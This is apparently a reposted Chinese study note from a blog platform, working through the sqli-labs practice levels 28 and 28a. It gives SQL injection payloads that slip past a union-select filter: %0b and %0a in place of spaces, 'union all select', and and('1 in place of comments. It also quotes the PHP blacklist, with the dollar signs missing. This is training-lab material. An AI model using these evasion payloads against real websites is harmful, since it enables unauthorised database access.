美文网首页
sql-labs less28 union select 过滤

sql-labs less28 union select 过滤

作者: Yix1a | 来源:发表于2019-05-20 14:49 被阅读0次
  • 转自不知名大佬的笔记
    ----------------------------------less-28------------------------------------

url:

http://192.168.137.138/sqli-labs-master/Less-28/

按照提示添加id值

先用 ' 和 " 测试,返回页面会不会报错

单引号报错:

但是没有错误信息,目前只知道 闭合条件 中 含有 '

过滤字符测试:

发现 空格 /**/ # -- 都被过滤了

测试闭合条件:

1'and'1 和 2'and'1 返回页面相同

改变闭合条件:')

1')and('1 和 2')and('1 返回页面不相同

说明 闭合条件为 : ('')

后台语句应该是这样:

select username,password from table where id=('input')

构造注入语句:
(空格和注释符都被过滤了,要特殊对待)

0')union%0aselect%0a1,2,3,4and('1

说明:0')union select 1,2,3,4后面的and('1 是用来当做注释符的

效果如下:

返回页面错误

页面hint:

Hint: Your Input is Filtered with following result: 0') 1,2,3,4and('1

说明 union select 被过滤了

现在用 less-27 的办法来试试

--先改变大小写:

0')UnIon%0aSeleCt%0a1,2,3,4and('1

页面hint:

Hint: Your Input is Filtered with following result: 0') 1,2,3,4and('1

还是被过滤了

--再来 重叠:

0')UnIununionionon%0aSeselselectectleCt%0a1,2,3,4and('1

页面hint:

Hint: Your Input is Filtered with following result: 00')UnIununionionon SeselselectectleCt 1,2,3,4and('1

过滤倒是没过滤,但是重叠了多少次,就返回了多少次,那么说明,在过滤的过程中

可能 union select 是一起过滤的,也就是说,他们在一个 正则表达式中

也就是说,如果只写union 或者 select 的话,应该是不会被过滤的

测试一下

0')Union%0a1,2,3,4and('1

页面hint:

Hint: Your Input is Filtered with following result: 0')union 1,2,3,4and('1

0')select%0a1,2,3,4and('1

页面hint:

Hint: Your Input is Filtered with following result: 0')select 1,2,3,4and('1

看到了吧,单独的union和select是不会被注释的,而在less-27中总结的方法,是针对于单独对union和select进行过滤的方式

那么这种情况该如何绕过呢?

先去后台看看

-----------------------------------源码部分----------------------------------

过滤部分:

function blacklist(id) {id= preg_replace('/[/*]/',"", id); //strip out /*id= preg_replace('/[--]/',"", id); //Strip out --.id= preg_replace('/[#]/',"", id); //Strip out #.id= preg_replace('/[ +]/',"", id); //Strip out spaces. //id= preg_replace('/select/m',"", id); //Strip out spaces.id= preg_replace('/[ +]/',"", id); //Strip out spaces.id= preg_replace('/union\s+select/i',"", id); //Strip out UNION & SELECT. returnid;
}

其中

id= preg_replace('/union\s+select/i',"",id)

在同一个正则表达式中

\s+表示,union和select之间,任意的空字符


对于这一类型,有两个办法

------1.union select 中间的 空格用不同的 空字符去代换

之前测试过 %0a 不行

那么 %0b 呢?

0')union%0bselect%0a1,2,3%0aand('1

返回页面报出了 字段位置

页面hint:

Hint: Your Input is Filtered with following result: 0')union�select1,2,3 and('1

------2.union all select 和 union select 的效果一样!!!!!!(替代)

构造语句:

0')union%0aall%0aselect%0a1,2,3%0aand('1

返回页面报出了 字段位置

页面hint:

Hint: Your Input is Filtered with following result: 0')union all select 1,2,3 and('1

因为 union 和 select 中间 有个 all,所以正则表达式 并不能匹配到union select

后面的事情,轻车熟路

*************************************分割线**********************************

-------------------------------------less-28a--------------------------------

部分源码:

过滤部分:

function blacklist(id) { //id= preg_replace('/[/*]/',"", id); //strip out /* //id= preg_replace('/[--]/',"", id); //Strip out --. //id= preg_replace('/[#]/',"", id); //Strip out #. //id= preg_replace('/[ +]/',"", id); //Strip out spaces. //id= preg_replace('/select/m',"", id); //Strip out spaces. //id= preg_replace('/[ +]/',"", id); //Strip out spaces.id= preg_replace('/union\s+select/i',"", id); //Strip out spaces. returnid;
}

可见,只是剩下了最后一个 过滤条件,所以相对于 less-28,less-28a更简单了

笔记里就不做详细记录了,自己动手

在实验过程中,发现查不出数据库名(当前数据库可以查)

看是可以查出表名和列名

语句是这样的:

0') union all select 1,group_concat(schema_name),3 from information_schema.schemata and('1

返回页面一直是错误的

页面hint:

Hint: Your Input is Filtered with following result: 0')union all select 1,schema_name,3 from information_schema.schemata and('1

看出并没有信息被过滤

拿到 less-1 里去测试了一下,发现也暴不出来

语句是这样:

0' union select 1,group_concat(schema_name),3 from information_schema.schemata and'1

这两句,除了 闭合 条件不一样,其他都是相同的

而且 , 都用了 and(闭合条件)1 去替换 注释符

在less-1中 如果 把 and'1 换成 --+的话,就能正常爆出信息

应该是 后台 sql 语句中 最后一个 闭合条件 后 还有 语句,如果直接用

and(闭合条件)1 去 替代 注释符的话,那后面的 语句也执行了,会影响结果

在less-1中的报错(用 and'1 替换 注释符时):

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and'1' LIMIT 0,1' at line 1

这也就是说 , 1'or'1 和 1'and'1 并不能完全替代注释符

相关文章

网友评论

      本文标题:sql-labs less28 union select 过滤

      本文链接:https://www.haomeiwen.com/subject/itwtzqtx.html